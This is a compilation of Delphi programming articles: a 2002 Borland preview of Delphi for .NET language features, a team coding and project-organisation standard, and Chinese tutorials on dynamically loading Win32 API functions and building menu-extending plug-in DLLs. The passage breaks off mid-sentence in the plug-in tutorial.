    Dynamic aggregation Dynamic aggregation of interfaces is not supported by the CLR, because it cannot be statically verified. In Delphi for .NET, all interfaces must be declared on the type. Dynamic aggregation is provided by the implements keyword, as the following code illustrates.

program Project1;

type
  i = interface
    procedure Wombat;
  end;

  TA = class(TInterfacedObject, i)
    procedure Wombat;
  end;

  TC = class(TInterfacedObject, i)
    fa: TA;
    property a: TA read fa implements i;
  end;

{ TA }

procedure TA.Wombat;
begin

end;

begin

end.
    ExitProc

    CLR and Delphi

    The new Delphi compiler will provide access to the .NET CLR (Common Language Run-time). Delphi developers will be instantly familiar with the CLR not just because it resembles the VCL so closely, but also because compatibility type mappings will be provided.

    The following table shows some classes and technology areas that map easily between Delphi and the .NET runtime.

    Delphi for .NET | .NET CLR
    TObject | System.Object
    String | System.String
    Variant | System.ValueType
    Records | System.ValueType
    Exception | System.Exception
    TComponent | System.ComponentModel.Component
    Database connectivity | ADO.NET (and DataSnap direct drivers)
    RIO Web Services | On top of System.Web.Services
    GUI | System.Windows.Forms plus VCL

    Assemblies and Delphi

    The Delphi for .NET compiler treats CLR assemblies like Delphi packages. The compiler supports direct symbol importing from metadata. Header file translations are no longer needed. Symbols can be imported from any Common Language Specification (CLS) compliant .NET assembly, produced by any .NET language tool. Conceptually, every .NET assembly contains the equivalent of a DCP (which is a collection of DCUs) and a BPL, all lumped into one file.

    The compiler supports the -lu<name> switch to specify which assemblies to link with or allow access to. These assemblies do not have to be Delphi assemblies. Any CLR assembly can be used directly with Delphi for .NET, with no translations or conversions. Just as you use -lu for Delphi packages, you can use -lu for any CLR assembly.

    The Delphi package syntax produces assemblies. Furthermore, the package syntax will still provide the option of linking referred code directly into your exe, or making it an external reference.

    The .NET assemblies don't give you the option of internal or external linking of code. You can support internal or external linking by distributing the DCUs as well as DCPs + BPLs. You cannot link code compiled in a package into an exe. You have to have a DCU (or source) to do that. The DCCIL compiler behaves the same as the DCC32 compiler.

    You should also know that Delphi for .NET will preserve the case for the namespaces you create. C#'s recognition of namespaces is case sensitive, so if you use a Delphi for .NET assembly with C#, you will need to match the original case of the namespace you created. Delphi's recognition of namespaces is not case sensitive, so if you don't keep this behavioral difference of the languages in mind, you might run into problems later.

    Delphi Language Enhancements

    I'm sure you were all looking closely at the code above, even though I told you it would change. Some of the enhancements to Delphi are obvious by looking at the source code, but not all of them are demonstrated in the above code sample.

    Let's look at a partial list of Delphi language enhancements.

    Unit namespaces

    By examining the above source code, one obvious change should be the support for unit namespaces. Namespaces allow you to access units with fully qualified identifiers, such as:

uses Borland.Delphi.SysUtils;

    The Delphi unit defines its own namespace with dotted names in the unit identifiers and file names. (The file name and unit name still match, with the ".pas" omitted from the unit name.)

    Project namespace

    You can configure project-specific namespace resolution. Project namespaces are a great way to eliminate uses clause IFDEFs. The project namespace will determine how the unit name references are fully resolved.

    Project namespace search path

    There will also be support for a project namespace search path, which supports searching the namespace path for unqualified unit names on the search path. Consider this hypothetical example:

uses Forms;

    This reference would resolve to Borland.VCL.Forms for a VCL project, and Borland.CLX.Forms for a CLX project. Clearly, this will make code for cross-platform development (such as .NET, Win32, and Linux) much easier to write and maintain.

    Default project namespace

    You can also create units that can be compiled into multiple project namespaces. For example,

unit MyControl;

    would compile to Borland.VCL.MyControl.dcuil for a VCL project, and Borland.CLX.MyControl.dcuil for a CLX project.

    Qualified identifiers

    Reserved words or keywords are allowed after the first identifier. For example, in the following code:

var
  foo : System.Label;

    Qualified identifiers can appear in type expressions, but not in identifier declarations. System.Label would be allowed as a valid type expression although label is a reserved word in Delphi. Future compiler plans for the extended identifier syntax include allowing the use of Unicode/UTF8 identifiers after the first "standard" identifier.

    The Common Language Specification includes this extended identifier syntax. The dccil compiler will provide access to all CLS compliant symbols in CLR assemblies.

    Nested types

    Consider the following code:

type
TMyClass = class
  Fdata: Integer;
  const foo = 12;
  type TNestedClass = class
    procedure Hello;
  end;
  procedure Green;
end;
...
var
  MyClass : TMyClass;
  MyNest: TMyClass.TNestedClass;
...
begin
  MyClass.Fdata := 15;
  MyNest.TNestedClass := TMyClass.TNestedClass.Create;
  MyNest.Hello;
  MyClass.Green;
end;

    The TNestedClass type is nested inside of the TMyClass type, but doesn't affect instances of TMyClass because data fields defined in TMyClass.TNestedClass do not occupy space in instances of TMyClass. Nested types are an extension of the namespace idea; logical containment by naming convention, with no physical manifestation.

    In the above example, MyNest is not freed because it will be garbage-collected by the .NET runtime.

    Custom Attributes

    Delphi for .NET will support standard attributes, such as Conditional, Obsolete, Serializable, and web methods. You will also be able to create custom attributes, such as those displayed here:

type
  [ FooAttribute('Hello', 23) ]
  TMyClass = class
    [ SpecialDataAttribute ]
    Fdata: Integer;
    [ WebMethod, DebuggerStepThrough ]
    function SampleCount: Byte;
  end;

    Declaring custom attributes

    Delphi allows you to create custom attributes you can use for any of your .NET application source code, such as the TQuantumAttribute declared here:

type
  TQuantumAttribute = class(TCustomAttribute)
    constructor Create;
    constructor Create(Name: String);
    property Name: String ...;
    property Spin: Double ...;
    property Color: TQuarkColor ...;
  end;

    A poster child for custom attributes might be the DLLImportAttribute. The Borland.Win32.Windows unit will be using that attribute for indicating the requirement for Windows run-time DLLs. CLR supports more options for referencing external DLL functions than regular old PE DLL Imports. Rather than add more special syntax to the language to cover those additional CLR-specific options, the additional info can be carried in an attribute. The compiler can remain blissfully ignorant of the payload for all but a handful of custom attributes.

    Class (static) data

    You can have class variables in your objects. This allows you to do things like perform instance counts or track information that is class specific rather than instance specific in your objects.

type
TMyClass = class
  class Fdata: Integer;
  class property Foo: String ...;
  class procedure One;
  class static procedure Two;
end;

    Class properties

    Class properties work like class fields. The getters and setters must be class methods or class fields.

    Class static methods

    Class static methods work the same as traditional Delphi class methods, except that there is no "self" parameter available in the method body. This is a CLR requirement because some languages do not support the hybrid behaviors Delphi has, where you can have routines that are not part of an object. Traditional Delphi class methods (which do have a "Self" in the body of the method) will also be supported.

    Value types

    Types can be "boxed" into object wrappers. These value types are not reference types. They are the actual instance of the type. Value semantics are supported for assignment and copying data. Record types are an example of value types in Delphi. Records can inherit from other records, and records can contain non-virtual methods, properties, and nested types.

    When value types are boxed, a fresh copy of the value is made and a distinct object reference is returned. This distinct object reference is a reference to data that is completely independent of the underlying value type. For the following code,

TObject(12).ToString

    the code TObject(12) boxes an integer into an object.

    Boxing of value types in Delphi for .NET is a requirement. Boxing support is not planned for Win32 or Linux Delphi language implementations.

    Records with inheritance

    Delphi records will be implemented as value types in CLR. Record inheritance is an aspect of value types. Records with non-virtual methods is another aspect of value type support.

    Records with methods

    The declaration of methods on TRecord is supported. These behave as static non-virtual methods.

    Sealed classes

    A sealed class cannot be inherited from. Value types can only inherit from abstract value type classes, and only sealed value type classes can be instantiated. Value types are highly deterministic, and decidedly non-polymorphic.

    Final methods

    The final directive on a virtual method (or override) indicates that this method cannot be overridden in descendent classes. Descendents may still introduce new virtual methods with the same name as the inherited method, but since they do not override the inherited method (occupy the same vmt slot as the inherited method), they do not participate in polymorphic calls to the inherited method.

    Possible Enhancements

    Multicast events

    With multicast events, you can have multiple listeners for each event. This event model is different from the Win32 event model, where an event is consumed and discarded by the first component responding to it. With event listeners, multiple components can respond to the same message (for example, all controls could respond to a "repaint" event).

    In this event listener model, you can only remove your own listener. Include() and Exclude() are standard procedures overloaded to operate on events for adding or removing an event listener. Traditional singleton event semantics are supported through := assignments. If a singleton event is used with an assignment, it overrides Include() or other listeners.

    Support for multicast events in Delphi for .NET is a requirement. Support for multicast events may appear in future releases of Delphi for Win32 and Linux.

    Interface method resolution

    Interface method resolution provides a convenient shorthand for implementing methods referenced in an interface. By default, the compiler attempts to bind a method name to a method of the same name in the class implementing the interface. With the following code,

Type
  TMyClass = class(TBaseClass, IFoo)
    procedure FooBar(paramlist);
    procedure IFoo.Bar = FooBar;
  end;

    The new version would be:

Type
  TMyClass = class(TBaseClass, IFoo)
    procedure IFoo.Bar(paramlist);
  end;

    A reference to TMyClass.IFoo.Bar is then valid.

    When multiple interfaces are used, interface method resolution becomes even more valuable. The following code illustrates:

IFoo1 = interface
  procedure Bar;
end;

IFoo2 = interface
  procedure Bar;
end;

TSomeClass = class(TBaseClass, IFoo1, IFoo2)
  procedure IFoo1.Bar;
  procedure IFoo2.Bar;
end;

    Array property overloads

    Array property overloads will also be supported. The following example shows the probable syntax for overloading array property references.

TSomeClass = class
  property Item[Index: string]: string
    read GetItem write SetItem; overload;

  property Item[Index: integer]: string
    read GetItem write SetItem; overload;

  property Names: string read GetNames write SetNames;
    overload;

  property Names[Index: Integer]: string
    read GetNames write SetNames; overload;

  function GetItem(Index: string): string; overload;
  procedure SetItem(Index:string; Value: string); overload;

  function GetItem(Index: Integer): string;
    overload;
  procedure SetItem(Index: Integer; Value: string);
    overload;

  function GetNames: string; overload;
  procedure SetNames(Value: string); overload;

  function GetNames(Index: Integer): string;
    overload;
  procedure SetNames(Index: Integer; Value: string);
    overload;

end;

    Overload of array properties is required for CLS compliance. For example, the CLR NameValueCollection overloads integer and string index references for the default Item property, as does this code snippet example above.

    Conclusion

    This document is intended to introduce some of the new features and concepts under research for the Delphi for .NET compiler. While every attempt has been made to keep this information accurate, all of it is subject to change. Compiler support for .NET has provided some exciting opportunities for enhancement to the Delphi language. The language enhancements discussed here are for the Delphi for .NET compiler unless otherwise stated. Hopefully, you like what you see so far.

    Stay tuned to this web site, as more articles on Delphi for .NET are coming very soon.

    Add or View comments on this article

    Article ID: 28972 Publish Date: August 06, 2002 Last Modified: August 05, 2002

    • Help Feedback Home Pages Newsgroups Search

    Made in Borland® Copyright© 1994-2002 Borland Software Corporation. All rights reserved. Legal Notices, Privacy Policy


CSDN_文档中心_Delphi Object Pascal Coding Standard & Project Organization Standard

Delphi Object Pascal Coding Standard
&
Project Organization Standard

Created:              10 Apr 2000 2:51 PM
Last Modified:        06/27/01 5:24 PM
Created by:           Michael P. Hollis and Mark S. Lauter
Document Revision:    2.5.0-HTML Version

This version was adapted from the MS Word document that can be found here:
http://marklauter.dyndns.org/codestandards/CodeStandards.doc

Authors’ Note: This document was originally written for a specific development team. We found what worked for us over a six-month period and put it on paper. It may not work your team “as is.” Feel free to modify it to fit your needs. Some of the project layout recommendations may seem “thin” because we put each developer through training. This document was only intended as a quick reference. The most important thing to remember when creating a programming standard is this – everyone on the team must buy in to the standard 100% or you’re wasting your time. Don’t insist on forcing people to do things they don’t want to do. Instead, concentrate on finding a happy medium where all developers can work together within a common development/coding environment.

For information about this document or Buschwood Partners, email mhollis@mphokie.com or marklauter@hotmail.com.

Copyright 2001, Buschwood Partners Inc.

Table of Contents (meaningless for the web document)
Introduction.........................................3
Naming Standard......................................4
General Standard.....................................6
Rules of Thumb.......................................9
Project Organization Standard.......................10
  Project Directory Structure.......................11
  Recommended Delphi Project Build Options:.........12
  Directory Example:................................13
Required Software Release Documentation.............13

Introduction

  1. The purpose of this document is to set forth a set of rules and guidelines that insure quality of software development. The authors developed these rules and during practical experience leading American and Russian software teams. The rules are intended to increase the speed and quality of the programming process.
  2. Follow Borland’s Object Pascal Style Guide. However, the guidelines contained within this document take precedence over the Object Pascal Style Guide. The style guide can be found here: http://community.borland.com/article/0,1410,10280,00.html.
  3. Code Complete by Steve McConnell, ISBN 1-55615-484-4, is recommended reading for all developers.
  4. Code that does not conform to the Delphi Object Pascal Coding Standard will not be accepted in official product builds.
  5. Developers who are unable to follow Delphi Object Pascal Coding Standard, as determined by formal Team member code reviews, should receive additional training from their team leader.
  6. This document is considered to be continually under revision. All Team members are invited to provide input for future revisions. All suggestions will be considered during a gathering of the Senior Team Leaders.
  7. Rules are made to be broken. Conscious Coding Standard violations should be viewed as an explicit warning by the programmer that the code block in question has been specially written to overcome some difficulty that could not be overcome while adhering to the standard. Comments should be added to the code to indicate intentional violation of the standard. As of this publishing the authors have not encountered any problem which required a violation of this standard.

Naming Standard

  1. Excessive Hungarian notation is not acceptable. We recently saw a coding standard that defined 8 pages of 2 to 6 letter prefixes for objects. This is absurd.
  2. Local variables are prefaced with v. The only exception to this rule is loop counters.
    Example local variable definition:
      var
        vList:   TList;
        vImage:  TImage;
        i:       integer;
  3. Field variables are prefaced with F.
    Example field variable definition:
      FList: TList;
  4. Global variables, also known as interface variables are prefaced with g.
    Example interface variable definition:
      var
        gList: TList;
  5. Arguments are prefaced with A.
    Example procedure definition:
    procedure MyProc(const AList: TList);
  6. Reserved words always start with lowercase letters.
    Example:
    // this code block is correct
    for i := 1 to 100 do
    begin
      MyProcedure(i);
    end;

    // this code block is incorrect
    For i := 1 to 100 Do
    Begin
      MyProcedure(i);
    End;
  7. Units are named for the class they contain. For example, if you have a class called TEmployee, the unit containing the class would be called Employee.pas.
  8. Projects (packages and executables) are named for the functional group of classes that they contain. For example, our database helper classes are contained within the BP_DatabaseAccess package.
  9. Project names are always prefaced with some abbreviation that represents the company, for example Buschwood Partners would use BP_.
  10. Do not use an obscure abbreviation for any name. For example, use FConnection instead of FConn.
  11. To avoid naming conflicts with 3rd party libraries, always append a BP to all classes coded by <<company name>> Corporation. For example, a name such as TRow or TCell is likely to be used by a third party table component. TRow would become TBPRow and TCell would become TBPCell.
  12. Constants are declared in ALL_CAPS with underscores. Actually, data belongs outside of the code, but if you must use constants, they belong in ALL CAPS.
  13. Never name a variable Tmp or Temp.

General Standard

  1. Only include one class per unit. Because of Delphi's implicit "friend" mechanism, including multiple classes per unit violates encapsulation. By adhering to this rule, the inclusion of two classes per unit can be viewed as an explicit declaration of friendship.
  2. Arguments are always passed with the const keyword. This prevents side effects and increases performance when passing strings.
  3. Use the DelFor code formatter, with common options across the team, to format your code before checking it into the version control system. The latest copy of DelFor can always be found here: http://www.slm.wau.nl/wkao/DelForExp.html.
  4. Follow the principle of symmetry and ownership. The class with the responsibility of creating an object has the responsibility of deleting the object.
  5. Always call inherited before executing any other code in a constructor

  6. Always call inherited after executing any other code in a destructor.

  7. When ever possible, use return values instead of raising exceptions to report success or failure. This increases execution speed. Use Boolean true for success and false to indicate failure. Never use integers as return values. Instead use enumerated types to indicate state beyond success or failure.

  8. Conditional compiler directives will not be used. Conditional compiler directives make the code difficult to read. If there are really two ways to build the project, then create two separate projects.

  9. When accessing a private field from within the parent class, if access methods are available for reading and writing, use them. Do not access them from a public property as this adds overhead and slows execution speed.

  10. Use // style comments. Do not use old style Pascal comments because they are difficult to notice outside of Delphi’s code editor.
  11. Circular dependencies between units will not be tolerated. When a dependency is circular there is a problem with the design. Circular dependencies break encapsulation.
  12. Never use local functions within procedures or functions. Local functions have two drawbacks: 1. They cannot be optimized by the Delphi compiler. 2. They make code exceedingly difficult to read.

  13. If a unit is required, included or “used” by another unit, the used unit name belongs in the appropriate uses section (interface or implementation). If the unit is used by the interface, then the interface uses section should contain the name of the unit. However, if the used unit is used in the implementation section only, then the implementation uses section should contain the name of the unit. Do not use this method to create circular dependencies between units. Units should be listed in the following order: Delphi Units, 3rd Party Units, and Internally Developed Units.

  14. If a class visibility section is unused, remove it from the class.
    Example:
      // this is correct
      TMyClass = class(TObject)
      private
        FMyField : TMyField;
        function GetMyField; TMyField;
      public
        property MyField : TMyField read GetMyField;
      end;

      // this is wrong
      TMyClass = class(TObject)
      private
        FMyField : TMyField;
        function GetMyField; TMyField;
      protected  // this section is empty.  remove it.
      public
        property MyField : TMyField read GetMyField;
      published  // this section is empty.  remove it.
      end;

  15. When declaring a class, explicitly declare the parent class from which it is derived. Even though TObject is the implicit parent of all objects unless otherwise declared, classes should be explicitly declared as descendents of TObject.

  16. Do not use comments between parentheses. Misplaced comments make the code difficult to read.
    Example:
    procedure MyProcedure(
      {AThisIsWrong : string;} AParam : string);

  17. Always surround the code between create and free with try finally. This prevents a memory leak if an exception occurs between create and free.
    Example:
    MyObject := TMyObject.Create;
    try
      for i := 0 to 9 do
        MyObject.DoSomeThing(i);
    finally
      MyObject.Free;
      MyObject := nil;
    end;

  18. Tabs should be set at 2 space intervals starting with 3.
    1234567890123456789
      T T T T T T T T T
  19. Don't code beyond the column 80. Unlike MS Visual Basic, Object Pascal is a structured programming language that allows developers to make proper use of the enter key. Use it.
  20. Variable declarations should be listed in alphabetical order.
  21. Method declarations and implementations should be listed alphabetical order.

Rules of Thumb

  1. Procedure and function bodies should be limited to less than about 40 lines or one screen height.
  2. Methods should be limited to a single purpose. Besides making the code easier to read and comprehend, it makes choosing a method name easier.
  3. If a procedure or function has more than one loop, then it probably has more than one purpose. Reevaluate the procedure and consider breaking it into as many methods as there are loops.
  4. Optimize code only after getting it to work and after using a performance profiler to identify bottlenecks. Comment out original, working code with a comment noting that the code has been optimized. This helps maintain readability. Its better to have slow, readable code that works than to have fast, unreadable code that doesn't work.
  5. Data and persistence belong outside of the code. The code should be written in such a way as to allow data to change without having to recompile. This seems like common sense, but the authors have found from experience that it isn't.
  6. Only comment the purpose of methods if the purpose seems unclear. Excessive commenting is typically not well maintained, even by the most disciplined programmers. The corollary to this rule is this: Reading comments to determine the functionality of a code block will often lead to misconceptions about how the code works or what it does. Trust the code, not the comments.
  7. Don’t break encapsulation.
  8. Don’t break encapsulation.
  9. Don’t break encapsulation.
  10. See 7, 8 and 9.
  11. Programmers don't make changes to an object’s designed public interface. If the programmer sees a problem, she should discuss it with her team leader or a senior member of the design team. The decision to change a system's design affects many teams other than the software team. The final decision to make changes to design will be made by senior team members who understand the big picture.
  12. Don’t make use of side effects in code. A function should be used that returns an appropriate value instead.
  13. Don’t hide exceptions by raising different exceptions or by “swallowing” them with empty except blocks. Always re-raise the original exception. By re-raising the original exception the exception class information is preserved. It is acceptable to add your own text to an exception message, but don’t remove text from it.

Project Organization Standard

This standard takes effect 1 August 2000. Project Organization Standards are required for international teams who are synchronizing source code from multiple projects during scheduled milestone builds.

This standard addresses the following issues.

· Software project layout requirements

· Documentation required for projects.

Project Directory Structure

Directory | Extensions | Description
MasterProjectsFolder | BPG, DPR, DPK, RES, CFG, DOF | Contains a project group containing ALL projects under development and all project files.
BIN | DCP, BPL, DLL, EXE | Contains all binary files. DCU files do not belong in here.
DCU | DCU, OBJ | Contains compiled object files.
WebInterface | HTML, JS, CSS | Contains files that are used by the web interface. These files will usually be installed in subfolders under the QuickDev directory.
<ProjectName> or <ProjectGroupName> | NO FILES | Contains Delphi project directories. Folder name matches the name of the DPK or DPR file name, or if it is to contain code for multiple projects, then the folder name should match the name of the project group, not the name of the product. May contain project sub folders as needed.
CODE | PAS, INC, CPP, H, JAVA, PL, etc. | Contains all source code for the project. May be contained under project sub folders.
DataModels | ER1, ERX, DM1, and others | Contains data model. Data models must be capable of actually generating all relevant database objects. May be contained under project sub folders.
DBScripts | SQL | Contains scripts for creating database objects. All scripts must be capable of running without errors. Scripts should be capable of completely creating all of a project’s required database objects. May be contained under project sub folders.
Documents | DOC, VSD, MPB, MDL and others | Contains design documents written in MS Word, VISIO Model Maker, Rational Rose, etc. Sub folders may be added at the team leader's discretion. May be contained under project sub folders.
TestApp | * | Contains any related applications required for unit testing the project. Sub folders may be added at the team leader's discretion. All business objects must be demonstrated to work in a test app before being integrated into existing code. May be contained under project sub folders.

Recommended Delphi Project Build Options:

1. Conditional builds are NOT allowed.

2. DebugSourceDirs can be used, but the project should never be checked in to the version control system unless this path is empty.

[Build Options]
{$ALIGN ON}
{$ASSERTIONS OFF}
{$BOOLEVAL OFF}
{$DEBUGINFO ON}
{$EXTENDEDSYNTAX ON}
{$IMPORTEDDATA ON}
{$IOCHECKS ON}
{$LOCALSYMBOLS ON}
{$LONGSTRINGS ON}
{$OPENSTRINGS ON}
{$OPTIMIZATION ON}
{$OVERFLOWCHECKS ON}
{$RANGECHECKS ON}
{$REFERENCEINFO ON}
{$SAFEDIVIDE OFF}
{$STACKFRAMES OFF}
{$TYPEDADDRESS OFF}
{$VARSTRINGCHECKS ON}
{$WRITEABLECONST ON}
{$MINENUMSIZE 1}
{$IMAGEBASE $400000}
{$RUNONLY}
{$IMPLICITBUILD OFF}

[Directories]
OutputDir=BIN
UnitOutputDir=DCU
PackageDLLOutputDir=BIN
PackageDCPOutputDir=BIN
SearchPath=BIN; DCU

[Compiler]
A=1
B=0
C=0
D=1
E=0
F=0
G=1
H=1
I=1
J=1
K=0
L=1
M=0
N=1
O=1
P=1
Q=1
R=1
S=0
T=0
U=0
V=1
W=0
X=1
Y=1
Z=1
ShowHints=1
ShowWarnings=1

Directory Example:

..\MasterProjectsFolder\
..\MasterProjectsFolder\BIN\
..\MasterProjectsFolder\DCU\
..\MasterProjectsFolder\WebInterface\
..\MasterProjectsFolder\DBAccess\
..\MasterProjectsFolder\DBAccess\CODE\
..\MasterProjectsFolder\DBAccess\DBScripts\
..\MasterProjectsFolder\DBAccess\Documents\
..\MasterProjectsFolder\DBAccess\TestApp\
..\MasterProjectsFolder\MyProject\
..\MasterProjectsFolder\MyProject\Parser\CODE\
..\MasterProjectsFolder\MyProject\Parser\DBScripts\
..\MasterProjectsFolder\MyProject\Parser\Documents\
..\MasterProjectsFolder\MyProject\Parser\TestApp\

Required Software Release Documentation

The following documents must be in each Documents directory:

Changes.doc
List of all files that have been modified, what changes were made to them, what major functionality has been added, removed, etc.

FilesRequiredForBuild.doc
Include a description of each file.

FilesRequiredForInstall.doc
Include a description of each file.

InstallProcedure.doc
Install instructions must be detailed so that someone completely unfamiliar with the system can install the project.

[class name].doc
Each class must be documented. The naming convention for class documentation files is the class name plus the doc extension. Example: TMyClass.doc. Class document files should be created with the ClassDocumentation.dot template.

Copyright 2001, Buschwood Partners Inc.


CSDN_文档中心_Delphi Win32 API 使用的特殊情况

我个人认为，Delphi 是当今最好的 Windows 可视化开发工具。
其种种特点令开发如虎添翼。但要想发挥出 Delphi 真正的内含性能
比如开发控件，实现一些特殊的功能，就必须直接调用 Win32 API。
Win32 API 主要包含在 Windows95/98/NT/2K 的系统动态连接库中
如 Kernel32.dll、User32.dll、Gdi32.dll、Shell32.dll 等等
通常情况下 我们只要在代码的 Uses 部分加入 Windows 等单元
的声明即可像使用 Delphi 内置函数一样的使用 Win32 API 函数，十
分方便。
但是，这样使用有时候会带来一些意想不到的麻烦。具体如下：
众所周知，Windows 的版本十分多，仅 Win95 就有 Win95A，Win95B
等等，而它们对 Win32 API 的实现是有细微差别的，尽管它们都是
Win32 平台。有一些 Win32 API 函数在特定的 Windows 版本中名称有
些许不同，或者根本就是是不存在的。
这样就带来了问题： Delphi 的 Windows 等单元是与当时最新的
Win32 API 全集对应的，Delphi 在编译的时候总是动态连接 Windows
函数库（所有的 Windows 编译型开发工具都是这样的）。编译时毫无
问题的代码，其可执行文件在特定的 Windows 平台上就无法使用。
由于 Windows 的可执行文件加载机制，在 Delphi 集成环境中是
无法跟踪这样的潜在问题的。下面举两个例子：
例一：
Win32 API 声明：
function BroadcastSystemMessage; external user32
name 'BroadcastSystemMessageA';
（来自 Delphi 5 Enterprise Windows.pas ：29408）
注意，使用这个函数编译后，程序在 Win95 的早期版本中无法使用（
好像是 Win95A）
将函数声明改为如下后，问题解决：
function BroadcastSystemMessage; external user32
name 'BroadcastSystemMessage'; //注意这里！！
例二：
Win32 API 声明：
function SHGetSpecialFolderPath; external shell32
name 'SHGetSpecialFolderPathA'
（来自 Delphi 5 Enterprise ShlObj.pas ：3333）
注意，使用这个函数编译后，程序在 Win95 某版本中无法使用
（Shell32.dll 版本：4.00.1111），因为这个函数根本就不存在！！
目前我尚无解决方案
要避免这样的问题的出现，有两个方法：
一：不直接使用 Win32 API，找第三方控件（这个方法好像是废话）
二：动态加在函数。方法如下：以 Win2K 中的 AnimateWindow 为例
(关于 AnimateWindow 函数的详细讨论，请到 www.csdn.net 文档，VB
查找关键字 AnimateWindow，感谢: iProgram)

Unit XXXX;
.....
type
FAnimateWindow = function(
const hwnd : HWND; //仅对窗口有效
const dwTime : DWORD; //动画持续时间，默认200ms
const dwFlags : DWORD): DWORD; stdcall;

function AnimateWindow(const hWnd : HWND; const dwTime : DWORD;
const dwFlags : DWORD): DWORD;

implementation

function AnimateWindow(const hWnd : HWND; const dwTime : DWORD;
const dwFlags : DWORD): DWORD;
var
DLLHandle : THandle;
AnimateWindow : FAnimateWindow;
begin
Result := 0;
DLLHandle := LoadLibrary('user32.dll');
@AnimateWindow := GetProcAddress(DllHandle,'AnimateWindow');
Result := AnimateWindow(hWnd, dwTime, dwFlags);
end;

.....
end.

怎么样，是有些麻烦吧，很值的。
如果你不想让自己的程序挑三拣四，
如果你不想让自己被称为废物程序员，呵呵，试一下吧。


CSDN_文档中心_Delphi 插件（Plug-ins）创建、调试与使用应用程序扩展(二)

延伸父应用

这个简单的插件不错，不过它不能做什么有用的事情。第二个例子就是纠正这个问题。
这个插件的目标就是在父应用程序的主菜单中加入一个项目。这个菜单项目，当被单
击时，就会执行插件内的一些代码。图6显示外壳程序的改进版，两个插件都已经加
载。在这个版本的外壳程序中，一个名为Plug-in的新菜单项目，被添加到主菜单中。
插件会在运行时加入一个菜单项。

图6：加载了两个插件的外壳程序的改进版

为了实现这个目的，我们必须在插件DLL中定义第二个接口。现有的DLL只导出了一
个过程，DescribePlugin。第二个插件将声明一个叫做InitPlugin的过程。不过，在
这个过程可以在主应用程序中看到以前，必须修改LoadPlugin来配合它。
图7所示的代码展示了改进的过程。
procedure TfrmMain.LoadPlugin(sr: TSearchRec);
var
Description: string;
LibHandle: Integer;
DescribeProc: TPluginDescribe;
InitProc: TPluginInit;
begin
LibHandle := LoadLibrary(Pchar(sr.Name));
if LibHandle <> 0 then
begin
// 查找 DescribePlugin.
DescribeProc := GetProcAddress(LibHandle,
cPLUGIN_DESCRIBE);
if Assigned(DescribeProc) then
begin
// 调用 DescribePlugin.
DescribeProc(Description);
memPlugins.Lines.Add(Description);
// 查找 InitPlugin.
InitProc := GetProcAddress(LibHandle, cPLUGIN_INIT);
if Assigned(InitProc) then
begin
// 调用 InitPlugin.
InitProc(mnuMain);
end;
end
else
begin
MessageDlg('File "' + sr.Name +
'" is not a valid plugin.',
mtInformation, [mbOK], 0);
end;
end
else
begin
MessageDlg('An error occurred loading the plugin "' +
sr.Name + '".', mtInformation, [mbOK], 0);
end;
end;
图 7： 改进过的LoadPlugin方法
如你所见，当GetProcAddress第一次查找调用描述过程之后，又调用了一次
GetProcAddress。这一次，我们要寻找的是常量cPLUGIN_INIT，定义如下：
const
cPLUGIN_INIT = 'InitPlugin';
返回值存储在TpluginInit类型的变量中，定义如下：
type
TPluginInit = procedure(ParentMenu: TMainMenu); stdcall;
当InitPlugin方法被执行时，父应用程序的主菜单被当作一个参数传递给它。这个
过程可以按照自己的意愿修改菜单。由于所有GetProcAddress的返回值都用assigned
测试，新版本的LoadPlugin过程仍然会加载不包含InitPlugin过程的第一个插件。在
这个过程中第一次调用寻找DescribePlugin方法会通过，第二次寻找InitPlugin会
无响应失败。
现在新的接口已经定义好了，可以为新的InitPlugin方法编写代码了。像原先一样，
新插件的实现代码存在于一个单独的单元中。图8显示了修改过的包含InitPlugin方法
的main.pas。
unit main;

interface

uses Dialogs, Menus;

type
THolder = class
public
procedure ClickHandler(Sender: TObject);
end;

procedure DescribePlugin(var Desc: string);
export; stdcall;
procedure InitPlugin(ParentMenu: TMainMenu);
export; stdcall;

var
Holder: THolder;

implementation

procedure DescribePlugin(var Desc: string);
begin
Desc := 'Test plugin 2 - Menu test';
end;

procedure InitPlugin(ParentMenu: TMainMenu);
var
i: TMenuItem;
begin
// 创建新菜单项.
i := NewItem('Plugin &Test', scNone, False, True,
Holder.ClickHandler, 0, 'mnuTest');
ParentMenu.Items[1].Add(i);
end;

procedure THolder.ClickHandler;
begin
ShowMessage('Clicked!');
end;

initialization
Holder := THolder.Create;

finalization
Holder.Free;

end.
图 8： 第二个插件的代码
很明显，对原始插件的第一个改变就是增加了InitPlugin过程。像原先一样，带有
export关键字的原型被加入到单元顶端的列表中，过程名也被加入到工程源代码的
exports子句列表中。这个过程使用NewItem函数创建一个新的菜单项，返回值是
TmenuItem对象。新菜单项通过下列语句被加入到应用程序主菜单中：
ParentMenu.Items[1].Add(I);
在测试外壳主菜单上的Items[1]是菜单项Plug-in，所以这个语句在Plugin菜单条
上添加一个叫Plug-in Test的菜单项。
为了处理对新菜单项的响应，作为它的第五个参数，NewItem可以接受一个
TNotifyEvent类型的过程，这个过程将在菜单项被点击时调用。不幸的是，按照定
义，这种类型的过程是一个对象方法，然而在我们的插件中并没有对象。如果我们想
用通常的指针来指向函数，那么得到的将只会是Delphi编译器的抱怨。所以，唯一的
解决办法就是创建一个处理菜单点击的对象。这就是Tholder类的用处。它只有一个方
法，是一个叫做ClickHandler的过程。一个叫做Holder的全局变量，在修改过的main.pas
的var段中被声明为Tholder类型，并且在单元的initialization段中被创建。现在我们就
有一个对象了，我们可以拿它的方法（Holder.ClickHandler）当作NewItem函数的参数。
搞了这一通，ClickHandler除了显示一个"Clicked!"消息对话框以外什么以没干。
也许这不怎么有趣，不过它仍然证明了一点：插件DLL成功的修改了父应用的主菜单，
表现了它的新用途。并且如同第一个例子一样，不管这个插件在不在应用程序都能执行。
由于我们创建了一个对象来处理菜单点击，那么在不再需要这个插件时，就要释放这
个对象。修改后的单元中会在finalization段中处理这件事情。Finalization端时与
initialization段相对应的，如果前面有一个initialization段，那么在应用程序终
止时finalization段一定会得到执行。把下面的语句
Holder.Free
加到finalization段中，以确保Holder对象会被正确的释放。
显而易见，虽然这个插件只是修改了外壳应用的主菜单，但是它可以轻易地操纵传
递到InitPlugin过程中的任何其他对象。如果有必要，插件也可以打开自己的对话框，
向列表框（List boxes）和树状视图（tree views）中添加项目，或者在画布（canvas）
中绘画。

事件驱动的插件

到现在为止我们所描述的技术可以产生一种通用的扩展应用程序的方法。通过增加
新菜单、窗体和对话框，就可以实现全新的功能而不必对父应用做任何修改。不过仍
